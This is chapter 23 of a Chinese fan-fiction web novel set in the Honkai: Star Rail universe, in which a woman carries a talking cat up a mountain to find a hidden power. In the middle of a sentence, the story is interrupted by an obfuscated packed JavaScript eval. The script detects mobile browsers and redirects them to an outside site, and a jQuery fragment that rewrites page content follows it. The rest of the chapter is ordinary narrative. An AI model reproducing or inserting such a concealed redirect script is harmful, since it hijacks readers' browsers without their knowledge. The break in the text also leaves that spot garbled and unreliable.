23.第二十三章
作品:《「崩铁」捡到一只薄荷色小猫》 一月二十日,温城。
天气晴,十三摄氏度,宜登高。
燕荡山①景区里人来人往,游客络绎不绝。临近年关,各家旅行社都在做最后一波冲刺,举着小旗子的导游穿梭在人群中,喇叭声此起彼伏。
队伍里大多是戴着统一红帽子的老人,步子不快,却精神抖擞,沿着山道缓缓而上。
在这一片整齐划一的红色里,有一道身影格外醒目——
一个穿着紫色薄款羽绒服的年轻女士,背上的竹编框里稳稳坐着一只小猫。
猫头上还系着一块小碎花头巾,布角在风里微微晃动,远远看去,像一朵硕大的蘑菇。
小猫神情冷静,甚至带着点审视意味,与四周此起彼伏的喧闹声形成鲜明对比。
紫色在人群中跳脱出来,像误入老年旅游团队伍里的隐藏彩蛋。
杨霞映背着猫往山上爬,额头已经沁出一层细汗。
她压低声音,用只有他们两个人能听见的音量问:“你确定方向没错吗?”
竹框里传来平静的回应:“没错,就在山顶。”
语气笃定得仿佛已经亲眼看见。
杨霞映抬头望了望前方层层叠叠的石阶,又看了看仿佛永远也走不完的山路,嘴角抽了抽。
“我真的累了……要不我们先找个地方休息一下吧。”
风从山谷间穿过,她的声音被吹得有点散。
竹框里沉默了两秒。
“好吧。”那刻夏终于松口,“你注意点时间。”
话音刚落,杨霞映仿佛原地回血。
“收到!”
她像被按下加速键,三步并两步,一步跨两级台阶,朝着上方的观景平台冲去。
“喂——”竹框晃了一下,那刻夏颠得左摇右晃,脑袋仿佛在打鼓。
“你不是说累了吗?”
“这是战术性冲刺。”她气喘吁吁地回,“要赶紧上去,免得……免得……”
冲刺到最后,杨霞映已经说不出什么话来了。
喉咙像被火燎过一样,又干又涩,每一次呼吸都带着热气。
终于,她抢在最后关头冲上观景平台,一屁股跌坐在石凳上,连姿势都顾不上调整,拧开水瓶“吨吨吨”地往下灌。
半瓶水下肚,那股濒临窒息的灼热感才慢慢退下去。
她靠着椅背,大口喘着气,等呼吸勉强平稳,才抬头往下看。
石阶上,红帽子大军正以一种稳定、不可撼动的节奏缓缓逼近。
不急不躁,却势不可挡。
杨霞映长长地松了口气,整个人瘫在石凳上,抬手抹了把额头的汗。
她把刚才没说完的话补上——
“……免得没位置坐。”
竹框被她小心地放在石凳旁。
那刻夏从里面探出头来,碎花头巾歪到一边,耳朵耷拉着,显然被刚才那阵冲刺颠得眼冒金星。
他闭了闭眼,缓了几秒,才勉强压下腹中翻涌的不适,语气加速带着明显的控诉:“能不能稳一点啊。”
杨霞映正仰着脖子灌水,闻言差点呛到。
她连忙放下水壶,抹了把嘴:“我又不是故意的,你也体谅一下好不好?”
她喘着气补充道:“要不是你一出发就崴脚,我也不至于这么辛苦地背你上山。”
语气里带着点抱怨,可更多还是无奈。
那刻夏沉默了一瞬,视线微微移开。
“谁能想到那个地方会那么湿滑。”
“哦——怪地面。”
“事实如此。”
空气安静了几秒。
山风从栏杆外卷上来,把碎花头巾的边角吹得轻轻晃动。两人默契地都没有再继续争辩,仿佛刚才那段小小的互呛,只是爬山过程中的附带插曲。
杨霞映撇过头,正好看见几位老爷爷老奶奶已经走上平台,拄着拐杖慢慢挪步,目光在石凳间搜寻落脚点。
她几乎是条件反射地站起身。
“走吧。”
说着便重新背起竹筐,把刚坐热的位置让了出来。
一位老奶奶笑着冲她点头:“谢谢啊,小姑娘。”
杨霞映摆摆手:“没事没事。”
竹筐在背上微微晃了晃。
那刻夏在竹筐里稳住身形,没有说话。
平台很快被红帽子军团填满,刚才还显得宽敞的空间瞬间热闹起来,笑声、相机快门声、导游的喇叭声混在一起。
杨霞映识趣地退到台阶边,重新把竹筐背好,往上望了一眼。
石阶一层层往山脊延伸,看不到尽头。
她深吸一口气,小声嘀咕:“你看下还有多远,我一口气爬上去。”
竹筐里安静了两秒。
那刻夏闭上眼,顺着那股若有若无的牵引感向上探去。
“直线距离不远。”
“听不懂……”
“按山路计算,大约还有四百七十级台阶。”
杨霞映:“……”
她低头看了一眼自己已经开始微微发抖的双腿,沉默了三秒。
“这也算‘不远’吗?”
“对我来说。”
“……”
她深吸一口气,抬手拍了拍自己的脸。
“行。”
一咬牙,心一横,她把
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17264708|196475||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
背带往上提紧,背着那刻夏朝着山顶冲了上去。
前十级台阶还算轻松。
二十级呼吸开始变重。
三十级之后,杨霞映的眼里只剩下台阶。
“不用那么拼。”那刻夏小声提醒。
“不要说话。”
杨霞映几乎是一边喘一边往上冲,声音被风切得断断续续。
山风在耳边呼啸,台阶在脚下迅速后退。红帽子大军被她远远甩在后方,导游的小喇叭声也渐渐被山谷吞没,只剩下自己的心跳声在胸腔里轰鸣。
竹筐里,那刻夏闭着双眼,专注地感应星魂的方向。
那团绿莹莹的光,在意识里越来越清晰。
像一颗被尘封的种子,正在回应他的靠近。
“马上就到了。”他低声道,“还有五十米。”
“你别报数!”杨霞映此刻的状态,简直像在跑体育中考最后一百米,她最怕的就是旁边有人倒计时她一直觉得报数一出来,腿就会突然变重,气会突然泄掉。
“四十米。”
“……”
“三十米。”
“你是不是故意的!”
杨霞映没有停。
奇怪的是,那刻夏的报数并没有像她预想中那样带来负面影响。
相反,那一声声冷静而精准的距离提示,反而像某种节拍器,在混乱的呼吸里替她稳住了节奏。
石阶在脚下飞快后退。
腿部肌肉酸胀到几乎失去知觉,每一步都像踩在棉花上,却又被意志硬生生压回地面。
当最后一段陡坡突兀地横在眼前时,杨霞映几乎是凭本能往上冲。
心脏在胸腔里剧烈撞击,呼吸滚烫,耳边只剩下风声与血液奔涌的轰鸣。
下一瞬——
台阶断开,视野豁然开朗。
山顶就在脚下。
她冲出最后一级石阶,整个人踉跄两步,险些跪倒,她几乎是扑到平台边缘,双手死死撑住栏杆,低着头大口大口喘气。
肺像被撕开一样疼。
“……到了?”她声音沙哑。
竹筐里,那刻夏的声音低而沉。
“到了。”他已经睁开眼。
山顶的风比山腰更冷更急,吹得碎花头巾猎猎作响。
可他此刻的目光,却比风更锋利。
前方不远处,观景石旁,有一块看似普通的岩石,阳光照在上面,没有任何异样。
可在他的感知里——
那块石头的内部,有微弱而清晰的脉动,像被封存的星火。
那股无形的力量,就在那里。
静静等待。

